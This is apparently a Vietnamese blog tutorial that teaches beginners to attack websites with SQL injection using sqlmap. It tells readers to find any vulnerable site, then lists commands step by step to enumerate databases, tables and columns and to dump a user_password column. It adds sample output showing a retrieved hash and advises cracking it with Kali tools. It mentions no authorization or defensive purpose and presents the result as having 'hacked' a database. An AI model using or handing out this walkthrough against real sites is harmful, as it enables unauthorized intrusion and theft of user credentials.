Menu bài viết
SQL map là một công cụ hữu ích cho begginer tham gia thử tấn công các web .Sau đây mình xin chia sẽ cách sử dụng công cụ này .
Trước hết các bạn chuẩn bị cho mình một link web nào đó có lỗi SQL injection.
Chạy lệnh cmd
sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 --dbs |
Ở đây:
sqlmap = Tên của tệp nhị phân sqlmap
-u = URL mục tiêu (ví dụ: “http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15”)
–dbs = Liệt kê cơ sở dữ liệu DBMS
Lệnh này cho thấy một vài thông tin thú vị:
công nghệ ứng dụng web: Apache DBMS back-end: MySQL 5.0 [10:55:53] [INFO] đã truy xuất: information_schema [10:55:56] [INFO] được truy xuất: sqldummywebsite [10:55:56] [INFO] đã tìm nạp dữ liệu được ghi vào tệp văn bản trong '/usr/share/sqlmap/output/www.sqldummywebsite.com' |
Bây giờ chúng ta có hai cơ sở dữ liệu mà chúng ta có thể xem xét. information_schema là một cơ sở dữ liệu tiêu chuẩn cho hầu hết mọi cơ sở dữ liệu MYSQL. Vì vậy, sự quan tâm của chúng ta sẽ là trên cơ sở dữ liệu sqldummywebsite.
Liệt kê các bảng cơ sở dữ liệu đích bằng cách sử dụng SQLMAP SQL Injection
Bây giờ chúng ta cần biết có bao nhiêu bảng mà cơ sở dữ liệu sqldummywebsite này nhận được và tên của chúng là gì. Để tìm hiểu thông tin đó, sử dụng lệnh sau:
sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite --tables |
Thông tin được cơ sở dữ liệu này có 8 bảng.
[10:56:20] [INFO] fetching tables for database: 'sqldummywebsite' [10:56:22] [INFO] heuristics detected web page charset 'ISO-8859-2' [10:56:22] [INFO] the SQL query used returns 8 entries [10:56:25] [INFO] retrieved: item [10:56:27] [INFO] retrieved: link [10:56:30] [INFO] retrieved: other [10:56:32] [INFO] retrieved: picture [10:56:34] [INFO] retrieved: picture_tag [10:56:37] [INFO] retrieved: popular_picture [10:56:39] [INFO] retrieved: popular_tag [10:56:42] [INFO] retrieved: user_info |
Liệt kê các cột trên bảng đích của cơ sở dữ liệu đã chọn bằng cách sử dụng SQLMAP SQL Injection
Bây giờ chúng ta cần liệt kê tất cả các cột trên bảng mục tiêu user_info của cơ sở dữ liệu sqldummywebsite bằng cách sử dụng SQLMAP SQL Injection. SQLMAP SQL Injection làm cho nó thực sự dễ dàng, chạy lệnh sau:
sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info --columns |
Điều này trả về 5 mục từ bảng mục tiêu user_info của cơ sở dữ liệu sqldummywebsite.
[10:57:16] [INFO] tìm nạp các cột cho bảng 'user_info' trong cơ sở dữ liệu 'sqldummywebsite' [10:57:18] [INFO] heuristics đã phát hiện bộ ký tự trang web 'ISO-8859-2' [10:57:18 ] [INFO] truy vấn SQL được sử dụng trả về 5 mục [10:57:20] [INFO] được truy xuất: user_id [10:57:22] [INFO] đã truy xuất: int (10) unsigned [10:57:25] [INFO ] được truy xuất: user_login [10:57:27] [INFO] được truy xuất: varchar (45) [10:57:32] [INFO] được truy xuất: user_password [10:57:34] [INFO] được truy xuất: varchar (255) [ 10:57:37] [INFO] được truy xuất: unique_id [10:57:39] [INFO] được truy xuất: varchar (255) [10:57:41] [INFO] được truy xuất: record_status [10:57:43] [INFO ] được truy xuất: tinyint (4) |
Đây chính xác là những gì chúng ta đang tìm kiếm … mục tiêu user_login và user_password.
Trích xuất mật khẩu từ các cột mục tiêu của bảng đích của cơ sở dữ liệu được chọn bằng cách sử dụng SQLMAP SQL Injection
Sử dụng lệnh sau để trích xuất mật khẩu cho người dùng.
sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_password --dump |
Và đây là mật khẩu . Nhưng nó đã được mã hóa . Bạn cần một tool giải mã nó (tool crack pass trên Kali Linux có thêm giúp ích cho bạn) .
[10:59:15] [INFO] truy vấn SQL được sử dụng trả về 1 mục [10:59:17] [INFO] được truy xuất: 24iYBc17xK0e. [10:59:18] [INFO] phân tích kết xuất bảng cho các băm mật khẩu có thể có Cơ sở dữ liệu: sqldummywebsite Bảng: user_info [1 mục] + --------------- + | user_password | + --------------- + | 24iYBc17xK0e. | + --------------- + |
Như vậy chúng ta đã hack được một web database nào đó bằng SQL injection sử dụng công cụ SQL map . Cảm ơn các bạn đã đón xem .
Xem thêm :Sql injection là gì ? Tìm hiểu cách thức tấn công SQL Injection